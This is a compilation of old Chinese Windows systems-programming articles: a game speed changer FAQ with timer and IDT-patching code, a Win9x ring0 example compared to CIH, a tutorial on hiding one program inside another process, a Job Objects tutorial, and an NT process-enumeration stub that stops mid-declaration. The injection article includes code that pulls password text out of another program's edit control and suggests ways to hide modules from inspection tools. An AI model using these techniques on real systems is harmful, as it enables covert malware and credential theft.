5) “兄弟变速器”退出后速度的变化仍然有效，怎么办？

答：这是本软件的特色之一，如果您希望退出后恢复默认速度，按“恢复退出”就行了。

6) 有的游戏不能改变速度，怎么办？

答：由于游戏的编写方法千变万化，难免会有个别游戏不能改变速度，试试在启动游戏前先变速。

7) 在上网时变速，连接时间也会变化，这会影响到我上网的费用吗？

答：请放心，100%的不会。否则中国电信岂不要亏本经营了？

8) 我把速度加到最快，为什么游戏速度反而变慢了？

答：加速时CPU会加大工作负载，如果负载大到一定程度而您的CPU不是很快，就反而会降低系统性能（但只

要您不超频，就不会损害CPU）。因此请您在加速时量力而行。

9) 我还有其他问题...

答：请到我们的主页www.vrbrothers.com下载最新版本或者进行咨询，您也可以和作者联系：rchu@263.net

附：兄弟变速器核心代码

附：兄弟变速器核心代码

// File name : SetClock.cpp

// Function1 : SetClock9x(int)

// Function2 : SetClockNT(int)

// Chu Rui 2001.3.1

#include "stdafx.h"

#include "ntport.h"

#define FREE_INT_NO 5

void Ring0()

{ //在Windows9x下进入ring0后进行的操作

__asm

{

cli

mov al,34h

out 43h,al //写入8253控制寄存器，设置写0号定时器

mov ax,bx

out 40h,al //写定时值低位

mov al,ah

out 40h,al //写定时值高位

sti

iretd;

}

}

void SetClockNT(int freq)

{ //NT下的操作

//这里使用了NT Port库

Outport(0x43,0x34); //写入8253控制寄存器，设置写0号定时器

Outport(0x40,freq&0xff); //写定时值低位

Outport(0x40,(freq>>8)&0xff); //写定时值高位

}

void SetClock9x(int freq)

{

union Function_Pointer

{

void (*pointer)();

char bytes[sizeof(void *)];

}OldIntAddress,NewIntAddress;

int IDTAddress; //IDT表基地址

int IDTItemAddress; //要修改的中断门所在地址

char *Pointer; //要修改的中断门所在地址，指针形式

__asm

{

push eax

sidt [esp-2]

pop eax

mov IDTAddress,eax //得到IDT表基地址

}

IDTItemAddress=FREE_INT_NO*8+IDTAddress;

Pointer=(char *)IDTItemAddress;

NewIntAddress.pointer=Ring0;

OldIntAddress.bytes[0]=Pointer[0];

OldIntAddress.bytes[1]=Pointer[1];

OldIntAddress.bytes[2]=Pointer[6];

OldIntAddress.bytes[3]=Pointer[7]; //保存旧的中断门

Pointer[0]=NewIntAddress.bytes[0];

Pointer[1]=NewIntAddress.bytes[1];

Pointer[6]=NewIntAddress.bytes[2];

Pointer[7]=NewIntAddress.bytes[3]; //设置新的中断门

__asm

{

mov ebx,freq

int FREE_INT_NO //产生中断，进入ring0

}

Pointer[0]=OldIntAddress.bytes[0];

Pointer[1]=OldIntAddress.bytes[1];

Pointer[6]=OldIntAddress.bytes[2];

Pointer[7]=OldIntAddress.bytes[3]; //恢复旧的中断门

}


Ring0的一个例子
网上找到好多Ring3层运行Ring0级的资料，可惜都是Asm,C/C++的代码，有一个用Delphi编写VXD的例子，还只能在Delphi3上编译。经过多方参考，终于搞定。让各位大虾见笑了。此段代码只能在95/98中运行，其实原理和CIH的开头获取特权级部分一样。小弟很菜，不足之处请各位大虾指教。谢谢。

button1 : 直接执行Int 03h,在IDE环境中会产生单步调试的中断，独立运行会发生异常，是为了证明button2执行的代码正确性而设置的。

button2 : 实际获取Ring 0 级的代码，使用了内嵌汇编。

button3 : 停止button2中的发声

unit main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Button3: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

var IDT : array [0..5] of byte; // 保存中断描述符表

lpOldGate : dword; // 存放旧向量

implementation

{$R *.DFM}

procedure aa; stdcall;

const ExceptionUsed = $03; // 中断号。

begin

asm

sidt IDT // 读入中断描述符表

mov ebx, dword ptr [IDT+2]

add ebx, 8*ExceptionUsed

cli

mov dx, word ptr [ebx+6]

shl edx, 16d

mov dx, word ptr [ebx]

mov [lpOldGate], edx

mov eax, offset @@Ring0Code // 修改向量，指向Ring0级代码段

mov word ptr [ebx], ax

shr eax, 16d

mov word ptr [ebx+6], ax

int ExceptionUsed // 发生中断

mov ebx, dword ptr [IDT+2]

add ebx, 8*ExceptionUsed

mov edx, [lpOldGate]

mov word ptr [ebx], dx

shr edx, 16d

mov word ptr [ebx+6], dx // 恢复被改了的向量

ret

@@Ring0Code: // Ring0级代码段

mov eax,cr0 // 此句在Ring3级会发生异常错误

mov dx, $61 // 以下语句是为了证明执行了此段代码，让PCSpeak发声

mov al, $ff

out dx, al

mov dx, $43

mov al, $b6

out dx, al

mov dx, $42

mov al, $f0

out dx, al

mov dx, $42

mov al, $0

out dx, al

iretd // 中断返回

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

aa;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

asm

int 03h //

end;

end;

procedure TForm1.Button3Click(Sender: TObject);

var bvalue : byte;

value : word;

begin // 停止PCSpeak发声

asm

mov dx, $61

in al, dx

mov bValue, al

end ;

value := bValue and $fc;

bValue := Trunc(Value and 255);

asm

  mov dx, $61

     mov al, bValue

     out dx, al

end;

end;

end.


在同一个进程空间运行两个程序(进程隐藏)
用OpenProcess()实现过NT下的进程隐身

在同一个进程空间运行两个程序(进程隐藏)

在同一个进程空间运行两个程序

运行环境：Windows NT4.0/Windows 2000

关键字：进程隐藏，API截获，映像加载

众所周知，bo2k可以在一个指定的进程空间(比如explorer.exe进程)做为一个线程运行。本文试图找出一种方法，使得任意exe都可以在其他进程中以线程运行(当然，这里说的"任意"是有条件的，下面会讲到)。

为行文简单起见，我把先加载的exe称为宿主，后加载的exe称为客户。对于上面的例子，explorer.exe为宿主，bo2k.exe为客户。

基本知识

每一个exe都有一个缺省加载基址，一般都是0x400000。如果实际加载基址和缺省基址相同，程序中的重定位表就不需要修正(fixup),否则，就必须修正重定位表；

如果一个程序没有重定位表，而且如果程序不能在缺省基址处加载，那么程序将不能运行。举个例子，Windows95的最低加载基址是0x400000，你在

Windows NT上开发了一个exe，指定其加载基址为0x10000，如果连接时让连接器剥离重定位表，那么他将无法在Windows95下运行。

bo2k为了避免和普通程序冲突，选了一个极其特殊的基址：0x03140000，这个地址一般不会有程序用到。这样bo2k启动后，用WriteProcessMemory将自身复制到宿主进程的

0x03140000地址处，再用CreateRemoteThread远程启动一个线程，从入口点开始执行。

bo2k能够在其他进程空间正常运行，关键有两点：

1)实际加载基址和缺省基址相同，这样就无需修正重定位表。

2)与bo2k隐性联接(implicitly link)的动态联接库在目标进程中的加载基址和bo2k启动时的加载基址一致，这样就无需修改导入函数表。除非只用到ntdll.dll和kernel32.dll两个dll，

否则这点很难保证。bo2k的解决办法是，远程运行的代码不用隐性调用，所有用到API都在远程代码运行后再动态确定(用LoadLibrary和GetProcAddress)

我的目标是让"所有"的程序都能在其他进程空间跑。在这里，"所有"的含义是所有那些"重定位表没有被剥?quot;的32位pe格式的可执行程序。

对于Visual C++，这包括所有Debug版程序和以"/FIXED:NO"选项链接的Release版程序。

对于一般的程序，上面两点都很难满足：

1)绝大多数程序的加载基址都是0x400000，这样，客户exe就很难保证加载到其缺省基址。解决办法只能是修正重定位表。如果，很不幸，这个exe的重定位表被剥离，这个exe就没法在其他进程空间跑。

对于Visual C++，剥离重定位表是Release版exe的缺省设置。可以在工程文件的连接选项中加入"/FIXED:NO"来防止连接器剥离重定位表。

2)很多程序都用隐性联接调用Windows API，而只用到kernel32.dll导出API的程序很少，因此这一点也很难保证。解决办法是重填导入表(import table)。

另外，对于有界面的程序，光修正重定位表和导入表还不够。因为他们都会直接或间接用到GetModuleHandle和LoadResource这些函数。

GetModuleHandle有个特点，如果传递给他的ModuleName为NULL，则返回宿主exe的模块句柄。LoadResource也类似，如果传递给他的模块句柄为NULL，则认为是宿主exe模块，类似的API还有一些，不一一列举。

客户exe调用这些API显然会得到错误的结果。因此必须截获这些API做特殊处理。

综合上面分析，要让两个程序共享一份进程空间，要做的工作有：

1)打开进程边界：用WriteProcessMemory向宿主进程注入代码，用CreateRemoteThread启动远程代码；

2)在远程代码中，加载客户exe，必要时修正重定位表和填充dll导入表。

3)截获GetModuleHandle，LoadResource等API，在客户exe以缺省参数调用时返回客户exe的模块句柄，而不是宿主句柄。

根据以上思路，我写了remote.dll，导出三个函数：RemoteRunA，RemoteRunW，和RemoteCall。

原型分别为：

BOOL WINAPI RemoteRunA( DWORD processId, LPCSTR lpszAppPath, LPCSTR lpszCmdLine, int nCmdShow );

BOOL WINAPI RemoteRunW( DWORD processId, LPCWSTR lpszAppPath, LPCWSTR lpszCmdLine, int nCmdShow );

BOOL WINAPI RemoteCall( DWORD processId, PVOID pfnAddr, PVOID pParam, DWORD cbParamSize, BOOL fSyncronize );

RemoteRunA用于在宿主进程中加载执行客户exe；

RemoteRunW是RemoteRunA的unicode版本；

RemoteCall实现远程注入并运行代码。

调用例子：

假如宿主exe为Depends.exe(我经常使用的宿主进程)，pid为136。客户exe为"C:.EXE"，

RemoteRunA( 136, "C:\WINNT\system32\CALC.EXE", NULL, SW_SHOW );

或,

RemoteRunW( 136, L"C:\WINNT\system32\CALC.EXE", NULL, SW_SHOW );

RemoteCall是一个很cool的副产品，可以在任意宿主进程运行一系列你自己精心准备的代码。

远程代码无需特殊处理，就像在本地调用一样。RemoteCall支持很多特性：

可以对Windows API进行隐性调用(无需用LoadLibrary和GetProcAddress动态确定)

可以使用全局/静态变量(除了不能动态初始化)；

可以使用编译时数据，特别是字符串常量；

支持异常处理；

支持源码级调试；

支持同步、异步调用；

对于同步调用，可以取得返回结果和错误号；

对远程代码做了异常保护，代码执行错误不会使宿主进程崩溃。 RemoteCall的唯一缺点是效率不高(当然，还有一个缺点，你的exe必须是可重定位的)。

调用例子：

在Windows 2000中，对有密码保护风格的Edit control调用SendMessage(hwnd, WM_GETTEXT,...)试图得到密码内容时，

系统会检查调用SendMessage的进程和Edit control所在的进程是否相同，不同则返回空字符串，调用失败。

解决办法显然应该是在目标进程中调用SendMessage。

利用RemoteCall，可以很容易地实现：

typedef struct _tagGETPASS {

HWND hwndPassword; // in

char szPassText[1024]; // out

}GETPASS;

static int *_p = NULL;

BOOL NullFunction() {

// 可以用静态变量和异常保护。

__try {

*_p = 0;

}__except(EXCEPTION_EXECUTE_HANDLER){}

return TRUE;

}

// 准备在远程运行的代码

BOOL WINAPI RemoteGetPasswordText( GETPASS* pgp ) {

// 可以使用相对调用(near call)，没什么用，演示一下

NullFunction();

// 隐性调用Windows API

if( SendMessageA( pgp->hwndPassword, WM_GETTEXT, sizeof(pgp->szPassText)-1, (LPARAM)pgp->szPassText ) ) ) {

MessageBoxA( NULL,

pgp->szPassText,

"Great!!", // 可以使用字符串常量

MB_OK );

return TRUE;

}

return FALSE;

}

void GetPasswordText( HWND hwnd ) {

GETPASS gp;

gp.hwndPassword = hwnd;

DWORD processId;

GetWindowThreadProcessId( hwnd, &processId );

HMODULE hLib = ::LoadLibrary( "remote.dll" );

if( hLib != NULL ) {

typedef BOOL (WINAPI *PFN_RemoteCall)( DWORD processId, PVOID pfnAddr, PVOID pParam, DWORD cbParamSize, BOOL fSyncronize );

PFN_RemoteCall fnRemoteCall = (PFN_RemoteCall)::GetProcAddress( hLib, "RemoteCall" );

if( fnRemoteCall != NULL ) {

if( fnRemoteCall( processId, RemoteGetPasswordText, &gp, sizeof(gp), TRUE ) )

MessageBoxA( NULL, gp.szPassText, "we get the password!!", MB_OK );

}

::FreeLibrary( hLib );

}

}

RemoteRun的调用例子：

void PrintUsage() {

printf( ": rmExe <target process id> <Exe file path>" );

}

int main(int argc, char* argv[]) {

if( argc <= 2) {

PrintUsage();

return -1;

}

int pid = atoi( argv[1] );

if( pid != 0 ) {

HMODULE hRemote = ::LoadLibrary( "remote.dll" );

if( hRemote != NULL ) {

typedef DWORD (WINAPI *PFN_RemoteRun)( DWORD processId, LPCSTR lpszAppPath, LPSTR lpszCmdLine, int nCmdShow);

PFN_RemoteRun fnRemoteRun = (PFN_RemoteRun)::GetProcAddress( hRemote, "RemoteRunA" );

if( fnRemoteRun != NULL )

fnRemoteRun( pid, argv[2], NULL, SW_SHOW );

FreeLibrary( hRemote );

}

}

return 0;

}

应该注意的问题：

1)最困难的部分是加载客户exe，简单的调用LoadLibrary根本不能解决问题，他不会替你修改重定位表和导入表。

另外对于.tls section(用于支持线程本地存储)和.bss section(用于为初始化数据)，我目前还不是很清楚如何处理；希望有人和我一起探讨；

2)目前remote.dll还不能支持在一个进程空间运行三个或更多程序。问题出在我在remote.dll中维护着一个客户exe的thread列表，

用于判断谁调用了GetModuleHandle等API，目前只能处理一个客户exe。这个问题不难解决；

3)有一些工具可以查看进程中加载的模块列表，如果想做进程彻底隐藏，不想让这些工具检测到我们的模块，在我看来，至少有两种解决办法：

一，不用LoadLibrary，自己写LoadDLL，这看起来似乎很困难，幸运的是，在bo2k的源代码中提供了一套这样的工具(在dll_load.cpp中实现)。

remote.dll中修改重定位表和导入表基本上用的都是dll_load.cpp里的代码。值得注意的是，dll_load.cpp原来的实现中有一点bug，他不能正确处理有Borland的tlink32生成的exe。

具体原因请仔细阅读Matt pietrek的"Windows 95 system programming secrets"，

或msdn文章："Peering Inside the PE: A Tour of the Win32 Portable Executable File Format"，里面讲到了ms linker和borland linker的区别。

二，我自己实现了一种模块剥离技术，可以让进程脱离.exe文件和.dll文件运行。其思想是先对要剥离的exe或dll模块的所有数据做好备份，然后用FreeLibrary或者UnmapViewOfFile卸掉模块，

再把备份的模块数据恢复回来。我以前在csdn上贴过代码的，自己找吧。

4)截获API用的是MS Detours Package 1.3。我不打算附上它的源代码，自己去下载吧：http://research.microsoft.com/sn/detours

5)在截获API时必须挂起其他线程。我用了两个未公开的接口：NtQuerySystemInformation用于枚举线程；NtOpenThread用于得到线程句柄。

推荐一本工具书："Windows NT Native API reference"(中文译名为"Windows NT 本机API参考")，书名大致如此，不必深究。气人的是居然把Navtive

翻为本机，I 服了you。书中列出了很多Native API的原型及其用到的数据结构。虽然翻译巨糙无比，但独此一家，别无选择，买一本参考参考还是值得的，如果你想研究"本机"API的话，:)。

运行成功的例子：

在Depends.exe进程中运行Calc.exe；

在Depends.exe进程中运行Acrobat 5.0；

在Depends.exe进程中运行Microsoft Visio 2000；

在Depends.exe进程中运行Process Hacker(我自己写的一个进程查看工具)，用了很多低层接口；

在Process Hacker进程中运行Acrobat 5.0。

唯一失败的例子是以客户身份运行matlab 5.1。这个可执行文件很特殊，有多个code section和data section，还有.tls section和.bss section。

失败原因不是很清楚(主要是没有足够的时间研究)，可能是.tls和.bss section在加载时没有处理好；也可能是某个应该做特殊处理的API没有拦截处理。


Win2000的Job对象介绍job对象
Win2000的Job对象介绍job对象

在Windows平台上编程时，你的程序一不小心就会"吃掉"所有可用的CPU资源和内存资源。某些时候这不成其为问题，但如果你创建服务器程序来相应多个客户请求的话，就要小心不要因为耗费太多系统资源而导致当机。假如你用Windows2000作为平台，可以利用几个API调用来解决这个问题。

许多Delphi程序员已经转到Windows 2000平台。Borland对在此平台上使用Delphi 5没有做出任何官方支持保证。

尽管如此，除了由一些本地化版本的操作系统或显示驱动程序引起的小问题之外，Delphi 5看来在Windows 2000平台上工作得很好。Delphi 6对Windows 2000应当会有很好的支持。

既然Delphi 5(甚至更早的版本)支持Windows 2000，那何不在Delphi 6之前就好好利用新操作系统的新特性呢？本文将论及在Delphi 5中如何利用Windows 2000的job对象。不保证示例程序可以在Delphi 6中编译通过，不过应该问题不大。

介绍job对象

当应用程序在Windows 2000中运行时，可以自由地消耗需要的资源以完成工作。例如，为了实现繁重的计算工作，应用程序可能会创建新的线程来更有效地利用CPU。如果应用程序需要和其它程序共享信息，也可能会简单地利用剪贴板，假使需要修改系统设置的话，它也会毫不犹豫地去做的。另外，如果应用程序需要分配内存，系统也会尽量不拒绝它。在现在的系统中，分配50MB甚至100MB的内存根本不成问题。

Windows 2000提供给应用程序一个更加不受限制的运行环境。系统管理员固然可以指定普通用户可以在系统上进行何种操作，而他却无法单独控制应用程序。比如，系统管理员可以限制某一用户（以及这个用户运行的程序）不可存取特定的文件夹或网络资源，但特定的应用程序允许消耗的内存却无法指定。

这是就该Windows 2000的job对象上场了。Job对象是Windows 2000的新特性，利用它可以限制很多东西，比如内存消耗量、CPU时间、剪贴板存取、进程数等等。Job对象是Windows 2000的核心对象，这意味着操作系统将在基本子系统层面支持它。

"job（工作）"听起来像是大型机时代的批处理应用程序，但Windows 2000里的job对象并不周期性崩溃--正好相反。而且，也不应把job对象和print job（打印工作）混淆起来，两者完全不同。

要利用job对象，首先要创建它。后文将述及一些细节，但现在你应该把job创建对象当做和创建其它系统对象（文件、管道、线程等）一样。一旦创建了job对象，它就被初始化为空值。为了使用它，必须首先改变它的设置。

最重要的是把新创建的job对象和一个或多个进程结合起来。进程默认为不与任何job对象相结合，但你可以随自己的心愿去这么干。这种结合是永久性的，所以不能被中止。

为job对象指定了一个或多个进程之后，可以开始为对象设置限制。比如，限制结合到对象的单一进程可以消耗的内存数，可以是5MB、30MB等等。限制可用于单一应用程序、或者整个job对象

准备消耗

你可能已经可以想见job对象的众多用途了。如果你的应用程序要响应客户端请求，就可以把它连接到限制性质的job对象。假如觉得某个应用程序耗费太多资源，也可以把它结合到合适的job对象。如此等等，不一而足。

需要找到有关的C语言文件头的Delphi版本。Windows Platform SDK中包括了原始头文件和API文档。http://msdn.microsoft.com/downloads有下载。WINBASE.H和WINNT.H就是需要注意的头文件

翻译C语言头文件耗时甚多。我已经简单翻译了一下，命名为JOBS.PAS。你可以在项目中自由使用。也许D6会包括所有需要的翻译头文件。

在我看来，了解操作系统新特性的最好方法就是去用它。Windows 2000 的job 对象是用来限制应用程序的，我写了两个简单的消耗系统资源的例子来做演示。

这两个例子程序，一个叫做CPUHog，另一个叫做MemoryHog。在图1中可以看到：

图一

顾名思义，这两个程序都是CPU时间和内存消耗大户。现实中自然不可能存在这样的程序，但许多其它程序在消耗方面干得也毫不逊色。

从代码段一和代码端二中可以看出它们是如何工作的。最好不要把这些代码直接拷贝到你的项目中--一般而言，Delphi程序员都会教你"应该这样写代码"，而我将会演示"不要这样写代码"。

代码段一在While循环中浪费CPU时间

procedure TCPUHogForm.StartClick(Sender: TObject);

begin

Hogging := True;

Start.Enabled := False;

Stop.Enabled := True;

While Hogging do Begin

Application.ProcessMessages;

End;

end;

procedure TCPUHogForm.StopClick(Sender: TObject);

begin

Hogging := False;

Start.Enabled := True;

Stop.Enabled := False;

end;

代码段二使用GetMem分配以兆字节计算的内存

procedure TMemoryHogForm.AllocateClick(

Sender: TObject);

Var P : PChar;

begin

GetMem(P,StrToInt(Edit1.Text)*1024*1024);

{ just to store something there }

StrCopy(P,PChar(DateTimeToStr(Now)));

end;

示例程序

现在你应该已经明白这两个程序是如何工作的了。图二是Job对象示例程序。

图二

记住，因为Windows 2000第一次引入job对象，所以必须在Windows 2000上运行这个程序。

如果一个进程被分配给Job对象，Windows 2000就会收集关于进程的信息。如果达到某一极限（如内存量消耗等等），系统将中止它。看起来有点粗暴，但如果应用程序本来就像避免这种情况时，它会工作得很好。你也可以设定为让Windows 2000记录到日志，然后继续运行进程。

示例程序在启动时创建一个核心job对象（在主窗体的OnCreate中），然后用timer组件不断地监视状态。你可以选择用十进制或者十六进制来显示统计数字。

示例程序有三个按钮：Run CPUHog（运行CPUHog）、RUN MemoryHog（运行MemoryHog），Set Restrictions（设置限制）。前两个按钮用来执行上文谈及的程序，第三个实现预定义的限制。下面的部分，我将演示这一切是如何实现的。

交给Windows去办！

如前所述，示例程序在启动时创建核心job对象。代码段三展示了如何调用CreateJobObject这个Win32 API函数。这个函数有两个参数：lpJobAttributes和lpName，均可被设置为nil，以使用缺省设置。

代码段三调用CreateJobObject创建job对象

procedure TJobMainForm.FormCreate(Sender: TObject);

begin

JobObj := CreateJobObject(nil,nil);

If (JobObj = 0) Then

ShowMessage(SysErrorMessage(GetLastError));

end;

...

Function CreateJobObject(lpJobAttributes :

PSecurityAttributes;

lpName : PAnsiChar) : THandle; StdCall;

External Kernel32 Name 'CreateJobObjectA';

如果调用成功，返回值是被创建对象的句柄。反之则返回0，我在程序中用一个错误提示框表示。注意代码是如何运用在SYSUTILS.PAS单元中声明的SysErrorMessage函数构造错误信息的。

Job对象被创建之后，跟着就到了用来跟踪显示job对象状态的Ttimer组件的事件句柄了。在代码段四中可以看到。用来查询job对象信息的API函数是QueryInformationJobObject。注意SysUtils.Win32Check函数是如何在API函数调用失败时引发异常的。I2S32和I2S64这两个转换函数用于进行基于10位或16位数的整数到字符串转换。

代码段四 调用QueryInformationJobObject获取job对象信息

procedure TJobMainForm.Timer1Timer(Sender: TObject);

Var

Info : TJobObjectBasicAndIOAccountingInformation;

Len : Cardinal;

begin

{ retrieve basic and IO information

about the job object }

Win32Check(QueryInformationJobObject(JobObj,

JobObjectBasicAndIoAccountingInformation,@Info,

SizeOf(Info),@Len));

{ show the results on screen }

With Info do Begin

Edit1.Text := I2S64(BasicInfo.TotalUserTime);

Edit2.Text := I2S64(BasicInfo.TotalKernelTime);

Edit3.Text :=

I2S64(BasicInfo.ThisPeriodTotalUserTime);

Edit4.Text :=

I2S64(BasicInfo.ThisPeriodTotalKernelTime);

Edit5.Text :=

I2S32(BasicInfo.TotalPageFaultCount);

Edit6.Text := I2S32(BasicInfo.ActiveProcesses);

Edit7.Text :=

I2S32(BasicInfo.TotalTerminatedProcesses);

Edit8.Text := I2S64(IoInfo.ReadOperationCount);

Edit9.Text := I2S64(IoInfo.WriteOperationCount);

Edit10.Text := I2S64(IoInfo.ReadTransferCount);

Edit11.Text := I2S64(IoInfo.WriteTransferCount);

End;

end;

Job对象本身不做任何事。你需要把进程和它相连。前面谈到的两个按钮启动应用程序。代码段五显示OnClick事件句柄，代码段六显示ExecuteProcess助手函数。

代码段五 执行进程，选择性地连接到job对象

procedure TJobMainForm.RunCPUHogClick(

Sender: TObject);

Var Proc : THandle;

begin

Proc := ExecuteProcess('cpuhog.exe');

If AssociateWithJob.Checked Then

Win32Check(AssignProcessToJobObject(JobObj,Proc));

CloseHandle(Proc);

end;

procedure TJobMainForm.RunMemoryHogClick(

Sender: TObject);

Var Proc : THandle;

begin

Proc := ExecuteProcess('memoryhog.exe');

If AssociateWithJob.Checked Then

Win32Check(AssignProcessToJobObject(JobObj,Proc));

CloseHandle(Proc);

end;

代码段六 使用API函数CreateProcess执行进程

Function TJobMainForm.ExecuteProcess(

EXE : String) : THandle;

Var

SI : TStartupInfo;

PI : TProcessInformation;

Begin

Result := INVALID_HANDLE_VALUE;

FillChar(SI,SizeOf(SI),0);

SI.cb := SizeOf(SI);

If CreateProcess(nil,PChar('.+EXE),nil,nil,

False,0,nil,nil,SI,PI) Then Begin

{ close thread handle }

CloseHandle(PI.hThread);

Result := PI.hProcess;

End

Else ShowMessage('CreateProcess call failed: '+

SysErrorMessage(GetLastError));

End;

如你所见，假如选项框"Associate process with the job object（连接进程到job对象）"被选择，就把进程连接到job对象。如果在ExecuteProcess中没有指定路径，就要确保CPUHOG.EXE和MEMORYHOG.EXE和示例程序JOBOBJECTS.EXE在同一目录。API函数AssignProcessToJobObject将进程连接到一个job。

Job对象默认为不对进程设置任何限制。Windows 2000仅仅是收集关于进程的统计数据供你使用。设置限制才是比较有趣的部分。用API函数SetInformationJobObject 可以做到这一点。

实现限制

在示例程序中，我打算把限制设定为：每个进程10秒CPU时间，整个job 20秒时间。活动（正在运行）进程限制为5个，所有属于这个job的进程可以消耗20MB的内存。

点击Set Restrictions（设置限制）按钮时，代码段七中的代码被执行，显示图三所示消息框。

图三

代码段七 使用API函数SetInformationJobObject实现限制

procedure TJobMainForm.SetRestrictionsClick(

Sender: TObject);

Const MegaByte = 1024*1024;

Var Limits : TJobObjectExtendedLimitInformation;

begin

{ 填充结构 }

FillChar(Limits,SizeOf(Limits),0);

With Limits,BasicLimitInformation do Begin

PerProcessUserTimeLimit :=

SecondsTo100NSTicks(10);

PerJobUserTimeLimit := SecondsTo100NSTicks(20);

ActiveProcessLimit := 5;

ProcessMemoryLimit := 20*MegaByte;

{ 设置标志 }

LimitFlags := JOB_OBJECT_LIMIT_PROCESS_TIME Or

JOB_OBJECT_LIMIT_JOB_TIME Or

JOB_OBJECT_LIMIT_ACTIVE_PROCESS Or

JOB_OBJECT_LIMIT_PROCESS_MEMORY;

End;

{ 执行限制 }

Win32Check(SetInformationJobObject(JobObj,

JobObjectExtendedLimitInformation,

@Limits,SizeOf(Limits)));

ShowMessage('Limits set!'#13#13+

'User time per process: 10 seconds'#13+ //每个进程时间

'User time per job: 20 seconds'#13+ //每个job时间

'Active process limit: 5 processes'#13+ //活动进程限制

'Per process memory allocation limit: 20 MB'); //每个进程分配的内存

SetRestrictions.Enabled := False;

end;

执行限制之后，运行MemoryHog。程序正常开始，点击Allocate（分配）按钮，可以分配10MB的内存。第二次点击这个按钮，尽管系统可能还有很多可用内存（按Ctrl-Shift-Esc，在任务管理器中查看），也不能分配更多内存。如果还没有看到错误信息（很少见），请看图四。

图四

接着我们来看看CPUHog。缺省的限制为每个进程10秒CPU用户时间，整个job对象为20秒。为了测试前一个限制，点击Run CPUHog按钮，注意屏幕上的数值变化。然后，点击CPUHog程序的Start按钮，然后等上顶多10-12秒钟。这时，CPUHog程序应当直接从屏幕上消失。Job对象再一次成功了。

现在，我们已经测试了对每个进程的限制。但就像你在代码段七中见到的，我还准备限制整个job对象CPU时间。重新启动JobObjects，启动一个或两个MemoryHog，启动两个CPUHog。

不用去管MemoryHog程序，点击CPUHog上的Start（开始）按钮。同样等上10-12分钟，CPUHog的一个实例将会被终止。

点击剩下那个CPUHog的Start（开始）按钮。这个CPUHog也同样消失，而且MemoryHog的实例也不见了！看起来很不公平，但这就是job对象的默认工作方式。当达到job对象的CPU时间限制，这个job对象就不能继续运行任何其它进程，因为每个进程都要消耗一定量的CPU时间。

结论

本文展示了如何在程序中使用job对象。如你在代码中所见，这并不复杂。和其它API层次技术相比，实在是太简单了。

使用job对象是如此之简单，我建议你在合适的地方多多利用它。比如，假如某个应用程序运行起来没有想象中那幺满意，就可以写一个简单的"启动"程序：

C:>limitmem 25000 "C:Files.exe"

除了本文述及的限制CPU和内存消耗，job对象还可用来限制许多其它方面。要讲清楚的话，恐怕需要两三篇文章。篇幅所限，不能一一尽述。可以下载Platform SDK或者在线阅览：http://msdn.microsoft.com/library。

最后一个诀窍：用它来测试程序。你经常在内存超载的情况下测试程序吗？在发现Windows 2000 job对象之前，我一直觉得："嗯，太难啦……"

补充知识：理解CPU消耗

考虑使用job对象，它真的可以做到使你的进程只耗费80秒的CPU时间。假如你在Windows 2000系统开发Web程序，肯定见过Web站点属性对话框中的"Enable process throttling（允许进程中止）"选择框和相应的"Maximum CPU Use %"设置值。

IIS（Internet信息服务器）是如何以百分比为度量单位限制CPU使用的呢？job对象并不支持这种方法。

要知道迷底，先要理解Windows 2000的CPU消耗（其它多任务操作系统也一样）。系统不断地运行不同的程序（实际上是进程中的线程），并在它们之间切换。在单任务操作系统中，同一时间只能有一个程序运行。这个程序将会尽可能多地使用CPU，而不是50%或者75%。

由于多任务的实现，Windows 2000在某一时点只运行一个程序，这个时段大约是20毫秒，然后切换到另一个程序。"同时"执行多个程序成为可能。所以，所谓CPU消耗就是一个时间函数。

具体来看看例子：某个应用程序以10秒为周期使用了5秒钟的CPU时间，那么，平均CPU使用就是50%。以24小时为周期，就是12小时，如此等等。

所以你可以以百分比为度量单位限制CPU使用。技巧就在于选择合适的周期！


NT 进程列表
话说那NT也有历遍进程的函数,那就是PSAPI.函数为:

BOOL EnumProcesses(

DWORD *lpidProcess, // array of process identifiers

DWORD cb, // size of array

DWORD *cbNeeded // number of bytes returned

);

和

BOOL EnumProcessModules(

HANDLE hProcess, // handle to process

HMODULE *lphModule, // array of module handles

DWORD cb, // size of array

LPDWORD lpcbNeeded // number of bytes required

);

前一函数返回所有进程的ID.而后一函数根据进程句柄来获取该进程的模块句柄数组.这里介绍的乃是另外一种方法.该方法比上述方法速度快很多.就是运用NATIVE API.下面乃是公开的秘密.:)网络上已经有很多关于此函数的论述,该函数查询功能之大,超乎想象,几乎任何系统信息都可以查询,现在披露有关历遍进程的部分.:)

typedef struct ThreadSysInfo_t {

LARGE_INTEGER ThreadKernelTime;

LARGE_INTEGER ThreadUserTime;

LARGE_INTEGER ThreadCreateTime;

ULONG TickCount;

ULONG StartEIP;

CLIENT_ID ClientId;

ULONG DynamicPriority;

ULONG BasePriority;

ULONG nSwitches;

ULONG Unknown;

KWAIT_REASON WaitReason;

}THREADSYSINFO, *PTHREADSYSINFO;

typedef struct ProcessThreadSystemInfo {

ULONG RelativeOffset;

ULONG nThreads;

ULONG Unused1[6];

LARGE_INTEGER ProcessCreateTime;

LARGE_INTEGER ProcessUserTime;

LARGE_INTEGER ProcessKernelTime;

UNICODE_STRING ProcessName;

ULONG BasePriority;

ULONG ProcessId;

ULONG ParentProcessId;

ULONG HandleCount;

ULONG Unused2[2];

ULONG PeakVirtualSizeBytes;

ULONG TotalVirtualSizeBytes;

ULONG nPageFaults;

ULONG PeakWorkingSetSizeBytes;

ULONG TotalWorkingSetSizeBytes;

ULONG PeakPagedPoolUsagePages;

ULONG TotalPagedPoolUsagePages;

ULONG PeakNonPagedPoolUsagePages;

ULONG TotalNonPagedPoolUsagePages;

ULONG TotalPageFileUsageBytes;

ULONG PeakPageFileUsageBytes;

ULONG TotalPrivateBytes;

THREADSYSINFO ThreadSysInfo[1];

} PROCESSTHREADSYSTEMINFO, *PPROCESSTHREADSYSTEMINFO;

NTSYSAPI

NTSTATUS

NTAPI

NtQuerySystemInformation(

IN SYSTEMINFOCLASS SystemInfoClass, //Set to 5 for enumerate all process

